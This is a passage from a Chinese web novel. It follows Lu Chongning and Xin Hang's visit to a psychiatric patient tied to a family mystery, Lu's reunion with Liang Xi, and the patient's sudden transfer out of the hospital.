路崇宁拿筷子在米饭上不停地戳,仿佛心事重重,信航看出来了,瞥了一眼梁喜方向,转回来主动问:“你老板还逼你见别的姑娘吗?”
有关林格那段路崇宁没跟信航讲,他摇摇头,说:“刘俊华不缺钱,看我实在没那方面意思,暂且算了,毕竟我不是他亲儿子,又没把柄在他手里,他能逼我什么。”
信航语重心长地叹了口气,“唉,杨姨的事要真跟他没关系,你以后和他混是个非常好的选择,毕竟咱们几个家庭条件都一般,想要出人头地还得靠人指引,你没听过那句话吗?选择大于努力。”
“哪位高人指点你的?”
“你唐姨,最近我忙,有时候住在单位,她给我打电话总给我上课。”
路崇宁把肉菜往信航面前推,“再吃点。”
“咱们仨的体重凑不出一个相扑选手,我看你也清瘦不少。”
梁喜和崔影聊完回来,走到路崇宁那边坐下,手指好像摸到什么,低头一看,是路崇宁的手,她猛地抬头,和路崇宁对视。
“怎么了?”信航问。
“没事。”
两人异口同声,路崇宁在撤手之前揪了下梁喜的指尖,肌肤摩擦,她刚拿起的筷子掉落地上。
第62章 第六十二章 像
考虑路崇宁去安北县精神病院的行程不能透露给别人, 所以他和信航都没开自己的车,而且特意挑周末,梁喜在工作室上班, 他俩偷偷离开, 没跟任何人讲。
有信航在,他能判断是否有人跟踪, 路崇宁专心开车就好。
“找到了吗?可能替刘俊华监视你的人。”
发现窃听器之后, 路崇宁在公司里逐个摸排, 从备用车钥匙下手, 把目标渐渐缩小, 最后锁定的人让他意外。
“项目上有个工程监理叫“曲天明”,平时只要我去项目上他都在,跟我还不错, 很多私事都和我说。”
路崇宁说到这淡淡笑了声,“你也知道,在职场拉近关系最有效的方式之一就是跟对方吐槽讨厌的人的种种行径,尤其是关系户, 如果恰好对方也讨厌, 拉近关系的速度会更快些, 他偶尔跟我吐槽周胜, 大概是让我以为他不是关系户吧。”
信航问:“他也是?”
“刘俊华抽雪茄, 但在公司从来不抽, 只在家里,那个味道我很熟悉, 前几天我去项目跟曲天明聊天,发现他外套上有一模一样的味道,趁他不注意我翻了抽屉, 在里面找到一盒。”
“或许他也抽呢。”
“一盒十七万,你觉得他抽得起吗?”
“我靠!那么贵!”
“所以我才怀疑他。”
信航又问:“你走之前确认曲天明没跟你吧?”
“我给项目安排了一点活,他走不开。”
“行,你挺厉害,自己就把人找出来了。”
路崇宁揉揉鼻根,貌似有点疲累。
信航说:“这车好开吗?要不我来开。”
说完递给路崇宁一瓶水。
“还行,刹车有点紧。”
信航朝后视镜看一眼,“慢点开,没人跟。”
“嗯。”
“你老板今天什么行程?”
“去省城了,陪女朋友。”
信航笑笑,“他那么有钱,怎么不结婚?”
“我也不清楚。”
“也对,不结婚的话随时能换女朋友。”
路崇宁不确定刘俊华是不是真的钟情到那种程度,对杨婉仪旧情难舍,一年两年没什么,一辈子不娶,能有几人做到?
“有一点我想不明白,既然他跟你提及旧事,为什么没说自己就是马有原?瞒不住啊。”
“或许他也在试探我是否知情。”
“他让你以后继承家产,这个诱惑足够大,一般人拒绝不了,可你拒绝了,换做我是他,肯定更加信任你。”
“我现在在他面前完全是小辈的做低姿态,年轻,经验少,也没钱,只剩一片真诚,他身边缺这样的人。”
信航笑笑,“确实,大老板越有钱,身边真诚的人就越少,都是能说会道八百个心眼的主。”
路崇宁嗯了声,信航说出自己的担心,“喜喜又问过你什么没?”
“没有。”
“她怕你心情不好。”
“我知道。”
梁辰义的事梁喜可以追着问,现在由梁辰义牵扯到路召庆,自然要顾及路崇宁的情绪,不仅是她,信航也如此。
路崇宁车开得有点野,速度也快,信航胆战心惊地看着他,“哥,慢点,哥!”
“害怕了?”
“不是,咱俩还有个妹妹要照顾,得惜命啊!”
提到梁喜,路崇宁这才把速度降下来,但也比上次信航去安北县用时少了二十分钟。
“小宁,一会儿看我眼色行事。”
“嗯。”
路崇宁打量医院大楼,不知是不是因为秋天的缘故,让这座精神病院看起来和它收纳的病人一样,透着神秘荒废之感。
这次在办公室见张姐,她剪了短头发,看起来利落不少,见面后信航说路崇宁是自己一个哥们,正好周末放假陪他来,在这之前信航跟张姐确认过,特意挑了那位主治医生的休息日。
“张姐,马有平怎么了?”
“嚷嚷要见他哥,之前从没这样过,看起来很清醒,不像有病的人,本来她的病也是间歇性的,有些时候跟正常人没区别,其实要是家里人肯照顾,她完全可以不用住院,成天在医院这四方天待着,好人也待疯了。”
信航点点头,“我去看看她吧,她能正常交流吗?”
上次隔着门根本没说话,何况当时还把梁喜吓到了,疯子一样,信航才没想跟马有平过多接触。
上楼时张姐问路崇宁,“小伙儿你多大了?”
“二十六。”
“有对象没呢?”
“有。”
信航猛地看向路崇宁,他眨下眼,信航这才恍然是开玩笑。
刚才他本能想到梁喜,心情忽上忽下
走到病房前,门打开,路崇宁小心看过去,病床上背对门坐着一个女人,穿着蓝白条病号服,头发梳得一丝不乱,听到脚步声,她转过头来,先是看到张姐,继而是信航,这两个人都没有提起她任何兴趣,直到看见路崇宁。
马有平死死盯着他,眼神逐渐惊恐,忽然倏地转过去,爬上床缩到角落,双臂环抱把脸埋起来,嘴里念叨着碎片式的话。
几人面面相觑,逐步靠前,想听清说什么,马有平一下抬头,看着路崇宁,说:“你不是死了吗?怎么又活了?我明明看见你死了!”
路崇宁上前,“你看见谁死了?”
马有平忽然捂住嘴,一个劲摇头。
信航把门关上,张姐轻轻拍着马有平后背,安慰她,“别害怕,没人死,这不都是活人吗?你家亲戚来看你了。”
张姐的安抚似乎起了作用,马有平再次抬头,但还是盯着路崇宁,“你不是我家亲戚,我爸妈都死了,让我见我哥,我要从这里出去。”
“你哥联系不上啊,这么多年了你也不是不知道。”
马有平拉住张姐的手,“你能帮我报警吗?让警察抓我哥。”
信航冲张姐使个眼色,和她互换位置,对马有平说:“我就是警察,你有什么事可以告诉我。”
“你不是警察,你没穿警服,我不信!”
“我是警察,真的。”
张姐以为信航在配合马有平演戏,哪里知道他真实身份。
马有平捂住耳朵,“我要回家,回全喜村,我想我爸妈。”
她边说边哭,眼泪像河水决堤一样,止也止不住,马上就要崩溃了。
张姐没办法,要把信航和路崇宁请出去,可路崇宁还有想问的话,愣在原地不肯离开,信航把他硬拽出去,并小声说:“张姐看着呢,先走。”
门关上,哭声被隔在门里,张姐诧异地看着路崇宁,眼里有话,“她为什么说你死了呢?”
信航赶忙岔过去,“张姐,她之前一直这样吗?”
“没有,之前只说想见她哥,头一次见她情绪这么激动。”
“是不是想起什么事了?”
张姐还是看路崇宁,“你俩以前认识吗?”
“不认识。”
路崇宁实话实说,神情认真,考虑到马有平的精神病史,张姐这才打消疑虑。
信航说:“要不让我单独进去再聊聊呢?我保证不刺激她。”
张姐想到什么,“你等我下。”
她匆匆下楼。
“小宁。”信航担忧地看着路崇宁,“你先别急。”
路崇宁倚着墙,目光定在天花板上,“马有平说的人会是我妈吗?”
如果杨婉仪还在,也和唐姨差不多岁数了,可在路崇宁眼里,他妈依然是当年分开时的模样,不曾老去。
信航往病房里看了眼,“她有精神病,现在这个状态说的话不能作为依据,一会儿我进去跟她聊聊,你在外面等着,张姐要是问你什么,别说漏了就行,表现正常点。”
“嗯。”
张姐很快回来,手里拿着一根火腿肠和一袋三鲜伊面,递给信航,“马有平最喜欢吃这两样,你给她,说不定能平复平复。”
“好,麻烦张姐了。”
信航开
门进去,马有平看着他,依然满脸泪,但情绪波动不大。
信航慢慢坐到床边,把火腿肠和三鲜伊面递过去,“给,你是不是爱吃这个呀?”
马有平瞥了一眼,露出想要又不敢拿的表情。
“给。”
信航塞到她手里,“你哥叫马有原吧?我和他认识,我帮你联系他好不好?”
“真的?”
“对啊,就是你哥托我来看你的。”
马有平冷笑一声,“你骗我,他那么冷血,才不会来看我,自从把我塞到医院来,他就再也没出现过。”
信航感觉此时的马有平应该是清醒状态,说话很有条理,于是趁热打铁,“你刚才说谁死了?”
“不告诉你。”
信航把火腿肠拧开,“既然你不想说,我不问了。”
这回马有平吃了,但却背过身去,不愿让信航看见。
“全喜村现在发展可好了,前段时间我还去过,水库建得特别漂亮,你没见过吧?”
“水库?!”
马有平又转过来,双眼难得放亮,“水库建成了吗?”
“对啊,你不想快点好起来回家看看吗?”
“我没病。”
“感冒也是病,吃两粒药就好了。”
马有平愣愣地看着信航,火腿肠没咽下去又哭了,“你真能帮我联系我哥吗?”
“能。”
“你让他把我接走行吗?那件事我肯定不说。”
“行,我试试,不过你得告诉我,你为什么害怕跟我一起来的那个人?”
“像。”
“像什么?”
“长得像。”
信航还想问什么,马有平抱着方便面钻进被子里,明显的回避态度。
“那你好好休息,改天我再来看你。”
信航关上门出去,对着张姐摇摇头,“吃的拿了,话不肯多说,我让她吃药,她说她没病。”
张姐以过来人的姿态,说:“在这的病人十个有九个说自己没病,别信,医生诊断的还能错嘛。”
信航往张姐身后的凳子望:“我朋友呢?”
“去楼道抽烟了。”
“张姐,那我先走,咱们还是按照之前说的,替我保密,有时间我再过来看她。”
“行,这不是什么好地方,我就不留你了,有事我再给你电话。”
“好嘞张姐。”
这层楼梯间没找到路崇宁,信航又往下走了一层才看到。
路崇宁坐在楼梯口低头抽烟,光看背影就心事满怀。
“小宁。”
信航走过去坐下,路崇宁抬头,把烟递给他。
“问出什么没有?”
“她的话你信吗?”
路崇宁裹口烟,“来之前不信,现在要看她说什么。”
到这一步信航不想有所隐瞒,“刚才我问她,为什么见到你会害怕?她说长得像。”
“和谁长得像?”
路崇宁心里有答案,但还抱有侥幸。
“没说。”
信航实在不忍心说出杨姨的名字。
路崇宁手指一抖,烟灰掉落,从台阶边缘掉下去,摔得粉碎。
“小宁,从现在开始,不管你有什么猜测都不要冲动,尤其是在刘俊华面前,不要刻意顺从他,像以前一样就好,如果杨姨的事真和他有关,让他察觉什么可能竹篮打水。”
在开回化城之前信航再三叮嘱路崇宁,作为一名警察,他再怎么经验浅薄,也比路崇宁知道该怎么做。
“放心。”
路崇宁面色沉静,准确说很冷,他暗暗憋着一股劲,等待拨云见日的那天。
第63章 第六十三章 我可以收回那句话吗?
省台录制节目当天, 天气很给力,湛蓝无云,清风阵阵, 只是一早气温有点低。
工作室五个人整齐上阵, 应老王要求,着统一工作服, 胸前印着工作室名称, 宣传效果拉满。
录制流程中一大重点是要弄黑陶出窑仪式, 老王一碗水端平, 让梁喜和周靖哲一起参与这个环节, 其实最开始老王只想让梁喜一个人参加,不知是不是周靖哲有所预感,接到录制节目的通知后他晚上特意晚走, 借此找老王聊天,请求给他机会,他一定好好表现,老王见他态度诚恳这才应允, 但介绍环节还是选择交给梁喜。
周靖哲罕见在人后给梁喜加油打气, 搞得她有点意外, 甚至怀疑周靖哲话里有话。
“师父跟许老师说你要录节目, 让我代他给你加油。”
原来如此“谢谢。”
自上次一别, 许京平的确遵守他说过的话, 一次没联系过梁喜,只有每周还在送的花提醒着她, 许京平真真切切在她的生命里出现过。
上午录制多数时间是采访老王,介绍工作室过往,及校企联盟对学生们的帮助, 类似这种比较官方的发言,下午出窑才轮到梁喜和周靖哲,第一次面对镜头,梁喜有点紧张,但电视台的工作人员都很友好,一直给她鼓励,让她别紧张,一遍不行可以多录几遍。
黑陶出窑后梁喜对着镜头开始介绍,“此次我们烧制的灵透黑陶是黑陶中非常出彩的一款,陶体可变色,早晨看黑中透青,中午看黑中透紫,晚上看黑中透亮,烧制温度700至900摄氏度,而传统黑陶只需要400摄氏度”
大家屏气盯着梁喜,她很争气,讲述流畅一遍过,录制完马上去找老王,“师父,我说得还行吗?”
“特别好,很上镜,你去看看回放。”
“喜喜,过来!”
一名工作人员把梁喜叫去,给她看回放。
按照原定拍摄计划,在梁喜介绍多彩黑陶出窑的时候身边不用站任何人,可刚才正式录制,周靖哲一直站在她身边,老王没说什么,其他人更不好说,左右不妨碍整体效果,也就放之任之了。
录制从早到晚一整天才完事,工作室挤满了人,乌泱泱的,晚上老王请工作人员到化城周边的小渔村吃铁锅炖鱼,梁喜很累,但这种场合她不能扫兴,只能强撑着去。
吃到后半段,那个叫梁喜看回放的工作人员到她跟前说:“我拍了几张你的照片,挺好看的,传给你吧?”
见他手里抱着相机,梁喜先回了声“谢谢”,又问:“怎么传?”
“蓝牙就可以。”
两人离开饭桌到一边操作,没几分钟梁喜便收到照片,挨张翻一遍,确实拍得不错。
但梁喜对他的相机比较感兴趣,问他:“你叫什么名字?”
“冯岩。”
“冯哥。”有求于人嘴先甜点,“你这个相机多少钱啊?”
他肯定比梁喜大,所以叫冯哥没问题。
“一万多。”
“这么贵”
梁喜最近一直琢磨想给路崇宁买个相机,但她不懂这里面的门道,又问冯岩,“什么型号?我记一下。”
“你想买吗?这个不是入门级,不太适合你。”
“给我哥买,你能给我推荐一下吗?一万左右的都行。”
“行啊。”
冯岩坐下来,用手机搜索各个型号给梁喜介绍。
这顿饭吃到快九点,老王在饭店门口一一送别工作人员,因为明天上午还有一些空镜要拍,所以他们要在化城住一晚,明天拍完再返程。
送走他们,老王对梁喜和周靖哲说:“走,我送你俩。”
王月和张彩云两位姐姐住得近,所以她俩一起打车走了,用不着老王。
“不了。”梁喜看向老王身后,“我哥来接我。”
老王和周靖哲顺着梁喜的视线往后看,路崇宁正从车上下来,冲老王点点头。
“行,快走吧,明天还有半天,坚持住。”
“师父再见。”
等老王带周靖哲上车,梁喜小跑到路崇宁跟前,“到半天了吧?”
“刚到。”
其实差不多有半小时了,他一直在车里坐着,没敢催梁喜。
晚上风有点凉,路崇宁把外套脱下来给梁喜披上,怕她不穿,双手特意箍紧衣
领,“穿着,冷。”
好吧,梁喜老老实实。
“录得怎么样?”
体温通过外套传给梁喜,她心头一热,说:“还行,有点紧张。”
路崇宁忽然俯身,盯着梁喜的脸,“化妆了?”
“昂。”梁喜往一边躲。
“好看。”
听他这么说,梁喜这才转回来,正视他,“真的?”
路崇宁笑笑,“当然真的,什么时候播?唐姨他们等着看呢。”
“可能月底之前吧,不确定。”
“上车。”
路崇宁给梁喜开车门,她坐进去,衣服还在身上,压根儿不给她机会还。
车里不比外面暖和,这个时间还不到开暖气的时候,梁喜把兔子抱枕紧紧抱在怀里。
“拉链拉上。”
抱枕被路崇宁拿走,梁喜低头,拉链头戳了两下没戳进去。
“我来。”
路崇宁解开刚系好的安全带,凑过去给她弄,可能车里昏暗,他也没成功。
梁喜被眼前的路崇宁搅得面红耳赤,一动不敢动,他抬手把棚顶灯打开,这才戳进去,拉链向上拉到顶,手碰到梁喜下巴,引得两人对视。
“谢谢。”她扭头看向窗外,有点不知所措。
路崇宁坐正,系好安全带启动车子往家开。
静默了一个路口,梁喜问:“你晚上吃什么了?”
“在项目食堂和工人一起吃的员工餐。”
“好吃吗?”
“好吃。”
路崇宁没撒谎,要是饭不好吃工人干活哪来的力气,而且量大管饱,吃多少都没人管。
路崇宁瞥了一眼梁喜的侧脸,说:“这回录完节目你好好吃饭,别再吃那么清淡了。”
“打算明晚整个红烧肉。”
“你会做吗?”
“不会。”
“我会。”
梁喜惊讶看过去,“你会?”
“不是跟你说过,在国外的时候我在中餐馆打过工。”
路崇宁说话右手伸向梁喜,“手背上的疤,炒菜烫的。”
他本意是想让梁喜相信,所以才给她看。
梁喜低头,捏着他手腕仔细找了找才在虎口处看见那道疤,不长,但感觉很深,可以想见当时有多疼。
梁喜对着那里吹了吹,路崇宁转头,一个急刹,差点闯红灯。
车停后两人心有余悸,梁喜放开他手,“我错了,不该调戏你。”
“调戏?”
“那是逗你玩?”
路崇宁伸手揪了下梁喜脸蛋,她“哎呀”一声,喊道:“路崇宁!”
“怎么?”
有来有往,谁也不亏,梁喜张张嘴,最后憋出几个字,“你等回家的。”
这几个字意味深长,路崇宁不自禁想偏
这个时间多数人已经下班,能停的空隙都停满了车,路崇宁找半天才找到合适的停车位,在另一个小区后身。
等车停好,梁喜先下车,隔着车玻璃,她看见路崇宁拔掉充电的手机,车钥匙,左右环顾没什么落下的东西才下车。
一些日常的动作落在她眼里,普普通通,可又因为是路崇宁变得尤为特别。
走到梁喜跟前,路崇宁见她发愣,“怎么了?”
梁喜蹭蹭鼻子,循着味道望过去,看见一个路边烧烤摊,说:“陪我吃点。”
“没吃饱吗?”
“吃饱了,馋。”
梁喜带他到空位坐下,小板凳,小地桌,烟火气十足,烤串的老板递过来一张手写菜单,她随便点了几串,都是熟得比较快的,又要了两瓶啤酒,她以为路崇宁不会让她喝,但他没有,在那淡定地分着一次性餐具。
“你回来多久了?”
梁喜问得突然,可路崇宁答得倒快,“快五个月了。”
“这么久。”
“久吗?我走了五年。”
“更久。”
啤酒先上来,路崇宁用筷子启开,梁喜暗想,平时不怎么喝,起酒瓶的动作倒熟练。
路崇宁给两个杯子各自倒满,拿起杯跟梁喜碰了一下,仰头一口喝掉。
梁喜在他之后清杯,“你刚走的时候我以为你一辈子都不回来了。”
“你在这,我怎么可能不回。”
梁喜定住,身边的一切也随之被按下暂停键。
跨越五年,他们好像第一次以成人的身份认真对话,在这样一个静谧的夜里,些许试探,些许不甘。
路崇宁低头又给自己那杯倒满,这次他独自喝掉,比上一杯还要利落,只是麦芽的香气背后却泛着苦涩味道。
“路崇宁”
“喜喜。”话被他拦过去,抬头,“我可以收回那句话吗?”
“什么?”
“不会跟你复合那句。”
烤串上来,放在盘子里,老板赶忙又去烤别的。
视线被短暂拦截,转瞬两人再次对视,梁喜拿了一串烤玉米递给路崇宁,他接过放下,没吃,开始倒第三杯酒。
桌下,梁喜用力揪着手指,她很想听后面的话,可再着急也只能等
“这些年我一直在失去,失去爸妈,失去家,失去你。”
路崇宁盯着杯子里此起彼伏的泡沫,眼前闪过一些画面,“回来这段时间,我说了很多伤你的话,抱歉,可能我是想确认你还喜欢我,没把我忘了,当许京平出现在你身边时我很慌,我怕你跟他走,所以才扔了他送你的花。”
第三杯被他喝掉,“喜喜”
眼泪从梁喜眼角滑落,她哽咽地“嗯”了声。
“这次换我追你,你能做我女朋友吗?”
“好。”梁喜举杯,眼中有泪,嘴角含笑。
路崇宁跟她碰杯,“说好了,不准反悔。”
两人再次一饮而尽,给过来上串的老板看愣了,“孩子,慢点喝,先吃串,这么喝胃能舒服吗?”
梁喜转过去把眼泪抹掉,对老板笑笑,“吃着呢。”
路崇宁把所有串都拿到她那边,“吃吧,都是你的。”
一共七串,梁喜三下五除二便解决掉,而路崇宁静静喝完剩下所有酒。
本来他还有很多话要说,但没想到梁喜答应得这么痛快,现在好像说不说没所谓了,只要梁喜答应他就好
累了一天,回家梁喜进屋换下衣服直奔洗手间,胡乱洗了一通,感觉洗完更累。
路崇宁站在洗手间门口,“怎么了?”
“困。”
梁喜扯过毛巾盖在头上,感觉下一秒就会睡着。
路崇宁没说什么,走到她身旁,抓着毛巾给她擦。
“我自己来。”
“没事。”
路崇宁不敢用力,擦了好半天,又找出吹风机给她吹。
梁喜头发长度及腰,路崇宁的头发却短得不行,对比很强烈,洗发露味道随着吹风机的风力四散,整个洗手间都香了。
感觉干得差不多,梁喜不打招呼拔下电源,搞得路崇宁一愣,还以为没电了。
她抓抓头发,“谢谢。”
“行了吗?”
“嗯,你洗吧。”
梁喜开门出去,关上洗手间门。
回屋把几瓶护肤品往脸上身上乱抹一遍,梁喜钻进被窝,舒服的感觉仿佛下一秒就能睡着,只是刚闭眼才想起来闹钟,赶紧定上。
“咚咚!”敲门声,梁喜放下手机,“进。”
门推开一道缝隙,她看不见人,只听见路崇宁问:“睡了吗?”
“嗯。”
“那我给你关灯。”
“等等。”
路崇宁往前一步,露出刚洗过的脸,睫毛湿漉漉的。
“你过来。”
路崇宁不明所以,走过去坐到床边,“怎么了?”
梁喜抬手,拇指和中指蜷缩搭上,照他脑门弹了一个脑奔儿。
弹完赶紧蒙上被子,“提前跟你预告了,回家收拾你。”
没声音隔着被子梁喜根本不知道路崇宁什么表情,就在她胡思乱想的时候被子被路崇宁扯掉,他俯下身,一个重重的吻落在梁喜嘴唇
,她睡意全无。
路崇宁第一次和女孩儿接吻,没什么技巧,几下便把梁喜咬疼了,她“呜咽”一声,推开路崇宁。
两人上下对视,呼吸急促,路崇宁以为梁喜不愿意,刚要道歉,却被她扯着衣领拉过去,绵软的嘴唇再次相碰,比刚才还要激烈。
就在梁喜感觉要窒息的时候路崇宁终于放开她,侧身躺在她身边,床小,两人靠得紧密。
梁喜掀开被子给他盖上,枕着他肩膀闭上眼睛,“你出去这几年怎么一次不联系我?”
她终归心有不甘,想得到一个答案。
“我以为你不喜欢我了。”
刚有所平复的心跳再次加速,梁喜鼓起勇气问:“欠我的五年空缺你拿什么补?”
路崇宁指指脑袋,“空缺吗?这五年你每天都在我这里。”
她终于听到了想听的,光这一句便和五年来的种种扯平,是不是太轻易了?可眼下梁喜无暇计算二者的份量,这句话在她脑子里循环播放,所到之处踏平一切杂念,纷纷溃退。
路崇宁将梁喜搂在怀里,慢慢拍着她肩膀,催眠一样,轻声说:“睡吧。”
今夜爱意盈满,世界清醒沉静。
两个人在爱意中见到彼此清醒的模样。
清醒地表白,清醒地拥有。
第64章 第六十四章 以前不敢说的事,现在敢说……
从安北县精神病院回来之后, 路崇宁有意跟曲天明继续拉近关系,但不刻意,每次都借着公司的事去项目上找他, 或者找别人, 然后无意中碰到他闲聊几句。
有时路崇宁留下吃饭,曲天明从食堂打包菜, 又叫了两个外卖回办公室单独吃。
下午, 路崇宁找了点活, 正准备去项目时被刘俊华叫走, 原来他也要去, 正好一起。
“徐师傅家里有事,今天请假了,你开车。”
刘俊华拿上手机, 招呼路崇宁出门。
启动车子前路崇宁给梁喜发信息:“晚上不一定按时下班,别等我。”
梁喜回的信息路崇宁还没来得及看,听到刘俊华问:“十一放假有什么安排?”
“昂,我想带喜喜出去玩。”
“你俩现在发展到哪步了?”
路崇宁不好意思, 低下头, “她是我女朋友。”
刚复合, 他俩没跟任何人提, 连孟相帆都不知道, 但路崇宁觉得有必要让刘俊华知道。
见他欲言又止, 路崇宁问:“刘总这边有什么工作安排吗?”
“想带你去上海,朋友办了个展览, 非要我过去剪彩。”
如果路崇宁没猜错的话,刘俊华肯定又要带他结识一些人,把他往富人圈里带, 虽然路崇宁不愿意,但眼下没办法,幸好要带梁喜出去玩的事还没和她说,否则真不好交代。
“行,我跟你去上海,下次放假我再带她出去。”
刘俊华满意地拍拍路崇宁肩膀,“这才对嘛,别总儿女情长,事业为重。”
开到项目上,路崇宁看见项目经理王涛亲自在门口迎接,每次刘俊华过来项目领导都会第一时间知道,刘俊华很享受这种被重视的待遇。
三人打过招呼,王涛给刘俊华戴上安全帽,带他去项目上转转,两位领导谈事,路崇宁在身后跟着。
走了一段,王涛回身对路崇宁说:“小宁,晚上一起吃饭吧,朋友给我送了几条自己钓的鱼。”
“王总,不好意思,我晚上有事。”
路崇宁说着递给王涛一根烟,他接过,路崇宁又要给他点,他摆摆手,掏出打火机自己来。
刘俊华不抽他们这种烟,路崇宁自然不用给。
“没看见明哥,他今天来了吗?”
路崇宁故意问的,因为每次只要他来项目,基本曲天明都在,别人也知道他俩关系不错。
“啊,他家有点事,今天请假了。”
刘俊华和王涛相视一眼,王涛笑笑,说:“刘总,咱们去那边吧,这边灰大。”
“好,小宁跟上。”
“来了。”
路崇宁知道再往前走大概率会碰上周胜,他最近老实不少,但做派依然不招人待见,没几个能看上他。
五分钟后路崇宁果然看见了周胜,他坐在椅子上,正和几个工人说着什么,离老远都能听到他在喊。
随着走近,说话内容终于清晰一点,好像是谁偷了他的烟,王涛也听见了,小跑过去说了句“刘总来了”,人群立马四散。
周胜站起来笑着和刘俊华打招呼,可刘俊华看都没看他,径直朝前走去,王涛警告似地白了他一眼赶紧跟着。
下午三点,路崇宁跟刘俊华从项目返回公司,刚到工位坐下,他赶忙给梁喜回信息,“晚上可以按时下班了。”
“还按照原计划呗?”
“嗯,等我去接你。”
今晚梁喜录制的节目要播,唐姨把三个孩子叫回家吃饭,说边吃边看。
还有更夸张的,信航说唐姨已经通知了邻居和亲戚朋友,让他们今晚都看,像她亲闺女上电视一样高兴
晚上六点,梁喜和路崇宁拎着水果到信航家,他还没回来,唐姨和民叔一起在厨房忙活。
打过招呼,梁喜把带来的水果放进冰箱,去厨房看有什么能帮忙的。
桌上已经摆了几个菜,锅里炖着鱼,是梁喜爱吃的酱焖做法。
“唐姨,我帮你。”
梁喜脱掉外套,被路崇宁接过去放到沙发一边。
“啥也不用,马上好了,快进屋坐着,吃水果,信航怎么还没回来呢?我得打电话问问。”
“忙呢吧,别催他了。”
说曹操曹操到,信航开门进屋,“小宁,来啦!”
“昂。”路崇宁去门口迎他。
“喜喜呢?”
厨房门打开,信航看见梁喜,“哎呀!这不我家大明星吗?”
“一边去。”
梁喜把碗筷放桌上,分开摆好。
一共八个菜,堪比除夕夜大餐规模,吃完饭几个人围坐在客厅看,梁喜有点不好意思,听到自己的声音脸都红了。
唐姨对民叔说:“咱家喜喜多上镜,这小脸,不比明星差。”
信航撇撇嘴,“嗯,你家喜喜赛天仙。”
唐姨照着信航后背狠拍一掌,“好好说话。”
一巴掌让信航彻底老实。
“旁边这个男的,斯斯文文的哈。”唐姨嫌弃地看了信航一眼,“你看人家,收拾得多干净,就你邋遢。”
“妈呀~”信航有点委屈,“工作性质不一样,再说谁上电视不好好收拾啊!”
梁喜笑着安慰他,“周靖哲私下也一般。”
节目不长,大概二十多分钟,看完梁喜和路崇宁回去,信航要送他俩下楼,路崇宁没让。
走出单元门,路崇宁自然而然牵起梁喜的手,“这么凉。”
他用力揉搓给梁喜取暖。
“没事。”
“吃饱了吗?”
梁喜笑笑,“在唐姨家哪有吃不饱的时候。”
出小区找到车,十多分钟便开到家,梁喜想在附近公园走走,顺便消消食,正好路崇宁也有此意,两人一拍即合。
公园不大,这个时间做广场舞的阿姨团队已经结束回家了,只剩一些遛弯的人。
从车上下来路崇宁又牵起梁喜的手,两人复合后走到哪路崇宁都牵着她,像是要把过去五年的缺失补回来。
“十月一你放几天假?”
“七天,你呢?”
梁喜叹口气,“工作室开门做生意的,哪来那么长假,两两串休,只能连休三天。”
路崇宁实话告诉她,“本来想带你出去玩,可是老板今天跟我说,让我陪他去上海出差。”
梁喜一语中的,“不会又带你去见什么富家千金吧?”
“怎么会,咱俩的
事我跟他说了。”
梁喜没料到,“他什么反应?”
“感情的事他不再勉强我。”
梁喜知道自己的条件比不上林格,如果路崇宁稍有动摇,她一定会主动退出,给各自留个“全尸”,像以前那样,她就算躲起来独自疗伤,也不会让别人看到她流一滴泪。
绕过健身器材区,周边安静不少,梁喜抽手,想拿手机,可路崇宁马上又牵住她,搞得梁喜哭笑不得。
“我拿手机。”
“噢。”
路崇宁缓缓放开。
梁喜拿出手机看见信航发的信息,“到家了吗?”
“到了,我俩在楼下走走,吃多了。”
信航没再回,梁喜又把手机揣回包里。
“谁啊?”路崇宁刚才拿眼睛偷瞄,没看清。
“信航,问咱俩到家没。”
“咱俩的事,什么时候跟唐姨他们说?”
“随时啊,你想说就说,不想说就不说。”
问题又抛给路崇宁,他不是不敢说,而是有所顾及,而这份顾及完全是因为信航。
“先不说吧,等找机会。”
“行。”
梁喜没多想,以为还像以前那样,她倒很享受这种地下恋爱。
“项目进展怎么样了?”
听到梁喜问,路崇宁莫名笑了声。
“怎么了?”
“你刚才的语气好像我老板。”
梁喜不认,“哪有那么严肃。”
路崇宁拉梁喜在一旁长椅坐下,说:“你是不是想问我家被拆得什么也不剩了?”
“嗯”
“是,都没了,但那片树林还在,你什么时候想去我带你去。”
路崇宁回来这段时间,梁喜和他像现在这样说话的时候不多,她总以为来日方长,所以由着当下的情绪牵着她走,时而亲密,时而疏远。
“明天休息吧?”
“休息。”
“去墓地看看。”
路崇宁说完掏出烟点了一根,不牵她手,改搭肩膀。
“怎么突然要去?”
“以前不敢说的事,现在敢说了,想告诉梁叔,也想告诉我爸。”
梁喜心头一软,眼睛发酸,她仰头看着黑漆漆的天空,今夜的启明星格外明亮。
“走,回家。”
梁喜刚起身,突然被路崇宁单手抱起来,吓了一跳,但脸上的笑遮也遮不住。
“路崇宁!”梁喜趴他耳边,“有人,有人。”
“有人怎么了?”
梁喜挣脱落地,说:“想抱我的话一会儿爬楼梯再抱。”
路崇宁被烟呛得猛咳两声
回家洗漱完,梁喜回屋发现她被子不见了,正纳闷的时候路崇宁走到身后,说:“在我床上。”
“干嘛?”
梁喜有点不敢看他,复合几天,两人一直各睡各的,关系最大的突破便是那晚接吻。
路崇宁憋了半天才憋出一句,“我不碰你。”
梁喜好整以暇地看着他,怎么算不碰?
“我给你拿回来。”
路崇宁转身去拿,被梁喜拽住。
欲望在沉默中膨胀,压得两人呼吸急促。
梁喜紧张得咬了下嘴唇,下一秒路崇宁将她抵在墙上,俯身吻过来,力道不轻梁喜在进一步的侵占下环住路崇宁脖颈,与他相拥。
第65章 第六十五章 马有平留下的纸条。
一早刚到单位, 信航便接到张姐打来电话,她说昨天王四和一个男人到医院给马有平办理出院,问信航知不知道。
信航当然不知道, 但他不能装完全不知情。
“我听我爸提了一嘴, 王四不是她直系亲属,可以帮她办理吗?”
张姐:“当初住院的时候马有平她哥签了一份委托书, 说人在国外, 所有他妹的事情由王四全权代理, 再说这些年的住院费都是王四交的。”
“具体什么时候转走?”
“今天。”
“这么快?!”
“王四那边很着急, 说她哥联系了一个比较权威的医院, 要好好给她医治,王四看着挺凶的,咱也不敢深问。”
过去这么多年才想起来好好医治?良心发现也太突然了, 信航感觉这里面有蹊跷,但他眼下没法阻拦。
“转去哪个医院了?”
“不知道,王四不说。”
“行,我问问我爸, 让你费心了。”
“没事, 跟姐客气啥。”
上次从精神病院回来后路崇宁托信航给张姐带了点保养品, 她挺喜欢的, 还特意给信航发信息表示感谢。
挂断电话, 信航陷入沉思, 一旦马有平消失,当年的旧事可能彻底无迹可寻, 不行,他不能坐以待毙,哪怕只是为了路崇宁, 他也要查。
中午吃完饭,信航给路崇宁打电话说这件事,路崇宁听完沉默两秒,说:“跟吴青一起去的男的,应该是曲天明,昨天他请假了。”
